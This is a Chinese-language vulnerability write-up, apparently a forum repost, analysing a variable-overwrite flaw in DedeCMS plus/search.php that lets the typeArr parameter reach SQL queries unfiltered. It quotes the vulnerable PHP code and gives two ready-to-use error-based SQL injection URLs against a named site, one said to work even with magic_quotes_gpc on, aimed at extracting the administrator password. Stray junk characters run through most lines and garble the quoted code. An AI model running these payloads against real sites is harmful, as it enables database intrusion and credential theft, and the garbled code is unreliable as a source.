微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
7 k$ A* O* v, h作者: c4rp3nt3r@0x50sec.org( p) a& g! w+ s3 Y
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.* }( o! [7 X, M; `1 g8 Q
3 f& L O& R J D- |: b7 z; p3 h
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
0 A% g( \# e* X" L# u0 O
% {# B6 y$ z! S" N# s============
' q" r# J: ]# a, ]+ w' B& \ + u: z( H3 g3 T! x1 g& Q
- P ~; O& B4 R# G5 O |9 z2 ]
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.) r ~, M K$ U& @: t. e
' x2 w: |: o4 q# _/ f2 ]! d. Frequire_once(dirname(__FILE__).”/../include/common.inc.php”);
1 R) V( M0 k( U8 `require_once(DEDEINC.”/arc.searchview.class.php”);
" G4 \# q, f! ^4 c . k+ x* I+ {' ^5 V
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
* y* t3 x4 |4 t) H& D% Y' u3 S$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
- I: c5 w- [1 L0 j+ i$ ~$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
6 s1 a @& K' C2 I0 n+ A1 ]$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;1 A6 @! ^% v7 `% w K7 N+ r
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;* k$ d2 L7 H/ V+ W0 R3 y& M
4 Y, _; P* \! @2 D
if(!isset($orderby)) $orderby=”;
, o0 o( X3 M: G, }3 celse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);8 D x, y3 t3 T
1 n7 Z8 f; j! F* `
8 A. B$ @/ Y% n2 n q
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
% p( ^0 U2 p: l8 `/ Oelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);* J7 J- T+ @* L; |; l& v, I
" l7 f- P# e* i" Y
if(!isset($keyword)){3 G# M2 R6 g( I$ d; ]6 e, b
if(!isset($q)) $q = ”;- F1 Z K( `7 i& t+ K+ N/ G
$keyword=$q;
" v+ \. @9 ?3 J: @}) O% ?$ B' a( n) F1 \4 C% A1 P3 F
( @3 u% \& N. X( L$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));& t! f2 m: Q! [+ x% ?1 m- d$ T% V
8 w# U4 O" t2 t1 C
//查找栏目信息
8 u6 ~1 n6 A# l' h" q5 H# nif(empty($typeid))
. l! O# D; U+ Y a- M% `{) n+ w# y+ |. g3 R' Z9 b3 Y& P
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;: R, Y- m$ k' x; ]
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
" X D& P$ Y( k$ c5 M5 [6 B& K* r {
' J1 _& a. }7 V% G& T $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);. Y% z7 v8 c* w
fwrite($fp, “<”.”?php\r\n”);0 K' F. F Z3 ?
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
; z6 m- c7 `# H9 _ $dsql->Execute();
" D& x8 ?2 B: H, y" @1 S. u0 X8 }; P while($row = $dsql->GetArray())# n' u W& ]& S7 d
{
/ }5 X' K; z! J* p fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);, @: ~. D1 ?8 ^* o9 u( r
}
' M* F+ b4 d7 C# [ fwrite($fp, ‘?’.'>’);4 |4 V E, Z [: x0 G
fclose($fp);
9 w4 {* o0 r* m/ p }* P: m% ]! v) k# D) ?7 [
//引入栏目缓存并看关键字是否有相关栏目内容% z! F+ Y5 }; { n" Q1 G
require_once($typenameCacheFile);
4 b7 d1 k/ J {2 n//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个 S0 s1 o6 b' N* J
//
, C1 B* V4 o5 i; X' ~: G; e if(isset($typeArr) && is_array($typeArr)); @ b) f* ~# }0 [) x
{; S1 g: B# C! t' I. Z
foreach($typeArr as $id=>$typename)" s- O! ^' C0 J4 O, K
{
# H9 w8 H+ Y0 V' e$ N" t7 r9 X" Z0 j5 v * q) b2 h' W* l
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过 r7 {. L8 v9 I, A
if($keyword != $keywordn)2 O- o1 k5 R: _ k9 G
{
1 o, _4 r& r/ \) u% E+ S9 ~8 t# S $keyword = $keywordn;! j/ Z% B" `' x5 y0 l) P9 U) p
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设! f: ?; T1 h, ?' g" K! u! @& a
break;/ Z/ k. A4 p1 n5 f6 Q. _5 }6 f/ G
}
- X$ t1 }3 V2 e. Z }
: ]3 } b6 v7 B& q( u }, K0 k- d; u, f5 j
}& C- C% L/ H. d! b @" S
然后plus/search.php文件下面定义了一个 Search类的对象 .
5 | @ R- U8 w在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.8 B/ p- |( j3 s, ]$ o# r" f
$this->TypeLink = new TypeLink($typeid);
5 Y& {$ E& Q Y* ^
% q4 O. r$ m6 P# F2 r6 l [TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
, G: ]+ m3 Y! R( b: m o# Z& n 7 i7 ~2 E9 W' Z+ Z& j
class TypeLink
: ]; ~1 _0 A# t" H( j0 r/ s{3 [' B. G* h# l- Y4 p+ O! d, j
var $typeDir;
" S# w; e# b% o7 G var $dsql;$ E+ b/ s7 L/ O. X9 B4 _7 v5 F
var $TypeID;! Z: l4 \( b% D" `1 f
var $baseDir;
( Q. D* R+ G4 b* h9 z var $modDir;
9 _) |: t/ s7 J2 K7 l var $indexUrl;
7 Q# w, {' e# ?$ b var $indexName;
$ R7 _0 V4 }& U+ A var $TypeInfos;; d; y8 T" Y/ m# q+ p: x! w$ z
var $SplitSymbol;
4 d) S$ ]+ K/ |/ u' K; `, J& U/ i var $valuePosition;
& d( f+ Q! H1 x: q% i& K& c var $valuePositionName;5 S, }0 U/ K+ F
var $OptionArrayList;//构造函数///////6 j% z( O) A# C) p
//php5构造函数) V! l% J6 Q( f2 m: Y& G2 l. ?
function __construct($typeid) }+ Y& t( B) |- z/ G
{/ B5 p ?$ o' R0 \; c" G8 I
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];/ s$ r( O& V- E' d8 C6 ^3 j
$this->indexName = $GLOBALS['cfg_indexname'];5 V8 ^% f$ S- U# `$ m! N
$this->baseDir = $GLOBALS['cfg_basedir'];
; e j5 N* j! _" ^% | $this->modDir = $GLOBALS['cfg_templets_dir'];4 B8 W3 t# b7 w; u
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];4 C# ?" h4 u1 H! a' J. H
$this->dsql = $GLOBALS['dsql'];
* x6 W! q2 B3 K# A1 H: _ $this->TypeID = $typeid;
6 J, c# t5 x! K# ^3 h& } $this->valuePosition = ”;
0 W( ^5 c t5 k) h $this->valuePositionName = ”;+ K1 z7 m( L! ]$ {
$this->typeDir = ”; B \: k9 L: E8 ?9 P& X+ i! v
$this->OptionArrayList = ”;
3 e* N4 i. @+ D* p3 C0 U + ^" k# o2 S" b! E* p
//载入类目信息
0 X7 ^, t5 X9 z4 ^: w9 _: n! ^
* h% H0 r! \/ K; t- k. A6 P, h- ~ <font color=”Red”>$query = “SELECT tp.*,ch.typename as8 u* V S2 L# Y3 Y
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join" v1 U, S3 ]" N x7 j6 a/ l' {. k0 \
`#@__channeltype` ch
. H$ W5 @* G, d% Z8 O W5 F, ~ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿) n* ?7 g' z, M) R2 h3 c+ D$ \
( l5 G( z! K4 C1 Z2 N" u5 C
if($typeid > 0)7 D( I5 O5 Z8 \: L" U3 k; Z
{
5 N2 u- ]: y! H, `8 p" j' z $this->TypeInfos = $this->dsql->GetOne($query);3 X3 b/ D$ f* @. L/ i
利用代码一 需要 即使magic_quotes_gpc = Off. r: Y' N! A9 O: t; J, Q4 ^0 h7 A
, A, U" B, G e7 h
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
+ I. ]. L: W3 G5 X; H 0 e0 Z/ y% s$ i7 w
这只是其中一个利用代码… Search 类的构造函数再往下 c& N: G2 M. V0 B& H" E2 l6 k
5 m1 I8 E4 s9 v. l
……省略) u7 }( N& `7 i& d V7 L
$this->TypeID = $typeid;
" F/ H {8 V, j/ P- Q……省略
4 h3 r& I7 b: U, a& L, K/ r$ Uif($this->TypeID==”0″){
- r* j0 p' \7 j- X6 {: F $this->ChannelTypeid=1;
7 D% T$ d3 i% \; Y }else{
% X+ D+ C! V/ ` $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲5 c. [& v; t, P: K
//现在不鸡肋了吧亲…
0 y( I) w K' N% J, a $this->ChannelTypeid=$row['channeltype'];
: Q6 Y" x8 q8 s& F, X
8 [5 G |6 @ P; n( D3 F( S1 m }
s# q* v/ R4 d/ ]! j8 @+ H$ l) _利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
9 j, b9 |0 e0 X8 q" R) d$ U : F+ p: l- Q* ?5 o
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title& k# }9 a& z0 P
" ?1 M' ]: ]3 }2 A
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
5 p. s3 ]4 u# u; T |